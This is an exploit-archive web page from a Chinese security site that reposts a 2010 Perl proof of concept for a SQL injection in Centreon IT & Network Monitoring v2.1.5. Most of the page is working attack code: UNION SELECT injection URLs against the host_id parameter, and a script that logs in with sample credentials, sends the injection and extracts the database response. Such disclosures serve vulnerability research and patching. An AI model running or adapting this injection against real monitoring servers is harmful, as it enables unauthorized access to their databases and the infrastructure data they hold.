首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Centreon IT & Network Monitoring v2.1.5 - Injection SQL Vulnerability
来源:j.salwan@sysdream.com 作者:Salwan 发布时间:2010-04-01  
=====================================================================
Centreon IT & Network Monitoring v2.1.5 - Injection SQL Vulnerability
=====================================================================

#!/usr/bin/perl
# //--------[PoC]---------//
#
# Title   : Centreon IT & Network Monitoring v2.1.5 - Injection SQL
# Version : 2.1.5 
# Author  : Jonathan Salwan (j.salwan@sysdream.com)
#
#
# [Vuln sql injection]
# http://localhost/centreon/main.php?p=201&host_id=-1%20[SQL Injection]&o=p&min=1
#
# http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1
#
#
# //-------[Credit]-------//
#
# http://www.sysdream.com
# http://www.shell-storm.org
#

use LWP::UserAgent;

my $url   = 'http://localhost/centreon/index.php';
my $login = 'root';
my $paswd = 'ptDB66';
my $sql   = 'http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1';

my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
my $cook = $response->header('Set-Cookie');

my $req2 = $ua->post($url,
                {useralias => $login, password => $paswd, submit => 'login'},
                    Cookie => $cook,
            Content-Type => 'application/x-www-form-urlencoded'
                    );

my $response = $ua->get($sql, Cookie => $cook);
my $content = $response->content();

    open(FILE, '>sql-centreon.txt');
    print FILE $content;
    close(FILE);

    print "\n[Answer SQL Injection]\n\n";

    my $selection = system('cat sql-centreon.txt | grep ">Host</td>"');
    unlink('sql-centreon.txt');

print "\n";


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Easy-Clanpage <= v2.2 multiple
·Free MP3 CD Ripper 2.6 (wav) 1
·MyBB 2002-2010 exploit
·CDTrustee .BAK Local Crash POC
·Xilisoft Blackberry Ring Tone
·WM Downloader 3.0.0.9 (.asx) L
·Optimal Archive v1.38 (.zip) 0
·Free MP3 CD Ripper 2.6 0-day
·BitComet <= 1.19 Remote DoS Ex
·HP OpenView NNM OvWebHelp.exe
·OpenDcHub 0.8.1 Remote Code Ex
·CompleteFTP Server Directory T
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved